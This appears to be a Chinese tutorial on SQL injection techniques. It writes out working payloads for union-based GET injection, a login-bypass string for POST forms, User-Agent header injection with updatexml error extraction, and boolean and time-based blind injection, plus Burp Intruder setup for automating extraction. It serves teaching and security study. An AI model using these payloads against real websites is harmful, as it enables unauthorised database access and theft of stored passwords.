SQL注入知识点整理——干货
0这次我们来整理一下一些常见的SQL注入方法(按传参方式分)
一、GET注入(俗称显错注入)
一般就是能看到URL栏里面有 ?id=1 的字样就可以尝试一下是否有注入点
1、id=1 and 1=1页面正常,id=1 and 1=2页面报错 ==>> 页面存在注入点
2、id=1 order by 1-99去测试字段数为多少
3、id=1 and 1=2 union select 1,2,3; ==>> 判断回显点
4、id=1 and 1=2 union select 1,2,database(); ==>> 查询库名
5、id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1; ==>> 查询表名
6、id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='tablename' limit 0,1 ==>> 查询字段名(1,1),(2,1)……
7、id=1 and 1=2 union select 1,2,password from tablename limit 0,1 ==>> 查询表内信息
二、POST注入
和GET注入原理是一样的,但是POST注入不在URL栏里传参,而是用表单传参也就是各种“框框”
1、先使用万能密码a' or 1=1 -- asd
一般数据库查询语句是这样的,会有一个单引号限制输入范围(如上),所以需要自己加一个单引号闭合前面的单引号,然后就可以在中间输入自己想要查询的语句,后面的单引号把他注释掉(如下)
这个是逻辑判断的结果,没看懂可以参考这个例子(students表里就这么三条数据):先判断and前后都为假,and的结果为假,假 or 真,最后结果为真
2、如果发现页面无异常,并且能够成功登陆,就可以接着查询数据库里的数据了
3、a' or 1=1 order by 1 -- asd
4、a' union select 1,2,database() -- asd
5、接下来就和上面的GET注入步骤一样了,在“database()”的位置替换为其他sql语句就行了
三、HEAD注入
什么是HEAD注入,那肯定就是排除上面两种了,即不使用URL传参,通过“框框”也没办法操作数据库,这个时候就可以尝试HEAD注入,举个例子:
这个橙色的被选中的部分就是一个登录界面递交给服务器的包里的head,里面有很多信息,也就是说有很多可注入点,这个时候我们可以查看源代码来找找突破口
--这个是某登录界面的核心代码
--这里可以看到,为什么不能POST注入呢?因为第六排,用正则匹配过滤了单引号(‘’),所以不能闭合,万能密码失效
--然后可以看到后面还有调用数据库的语句(倒数第三排),想要调用数据库变量$row就得有值,换句话说就是需要用正确的用户名和密码登录,这个爆破就可以了,其次插入数据库的数据中变量$uagent是我们可控的,于是就可以把页面的user-agent改变成sql语句进行注入
--但是这里是一条插入语句,没有回显我们不能得到我们想要的信息所以这里就需要用到两个函数concat()和updatexml()
然后就想办法改变网页的user-agent,结合报错注入就可以得到数据库中想要的数据了有两个方法来改变user-agent
--第一种就是使用谷歌浏览器的插件ModHeader
将网页的user-agent改成 1' and updatexml(1,concat('~',database()),1),'1') -- asd 然后就可以通过数据库的报错得到库名
接下来再将库名换成子查询就可以显示目标库中的表、字段、数据
--第二种就是使用Brup Suite抓包直接修改参数
放过之后就是这个样子了
说完这三种注入方式之后,再介绍一种通杀所有SQL注入的方式——盲注
--布尔盲注:页面会有回显,但是不回显示具体内容,也就是只能判断页面是否显示正常
--时间盲注:任何的传参,页面显示都是相同的
一、布尔盲注
--length() 返回字符串长度 ==>> length(database())=1 根据页面是否正常显示来判断数据库名的长度是否为1
--substr() 截取字符串 ==>> substr('123456789',2,3) 从123456789的第二个位置开始去三个数结果为234 【注】substr('123456789',-5,3)的结果为567,-5代表倒着数的第5位开始取
--ascii() 返回字符的ascii码 [将字符变为数字] ==>> ascii(substr(database(),1,1))=97 根据页面是否正常显示来判断数据库名的第一位是否为‘a’。这个时候有人就会觉得这么繁琐无聊的事儿是人做的么?那肯定不是啊,这种反复的事情就适合交给计算机来做。这个时候就要再次邀请Brup Suite隆重登场!!!
人狠话不多,先抓包,写上需要计算机代劳的语句,然后sent to intruder
然后在intruder模块中攻击模式选择集束炸弹模式,将需要比对的位置添加上变量符号
第一步 payloads设置界面
第二步 先是第一个变量的设置,类型选择number数字类型,
第三步 因为我们已经知道库名由12个字符组成,所以变化范围是从1到12,步幅为1---每次增量为1
接下来是第二个变量的设置
第二步为什么是从32到127呢?因为ASCII码前31位是特殊字符,想要作为数据库名基本都是非法的
两个变量都设置好了之后就可以点击右上角的start attack开始攻击了
这里我跑得太慢了就用的别人跑出来的结果
选出length长度最长的12次结果即为数据库名12个字符对应的ascii码,具体选最长还是最短的结果,可以预览显示结果页面(图二)
想查询表名和字段名就利用子查询,将database()替换掉
二、时间盲注(延时盲注)
特点:在传参处传入使页面正常显示和异常显示的语句,发现页面显示是相同的,初步判定可能存在时间盲注
--sleep(n) 将程序挂起n秒 ==>> id=1" and sleep(5) -- asd 观察页面是否没有立即显示,而是经过了短暂挂起状态(转圈圈加载中)
--if(expr1,expr2,expr3) 判断语句,如果第一个语句为真,那么就执行第二个语句;若第一个语句为假,就执行第三个语句
==>> id=1" and if(ascii(substr(database(),1,1))=97,sleep(5),1) -- asd 若数据库名第一个字符为 a 那么网页就挂起5秒,否则正常显示
前提条件:保证代码的正确,若代码错误,页面也可能不会延迟
时间盲注,比较麻烦,步骤繁琐,可以用sqlmap直接跑,没有必要手注,毕竟盲注是sqlmap亲儿子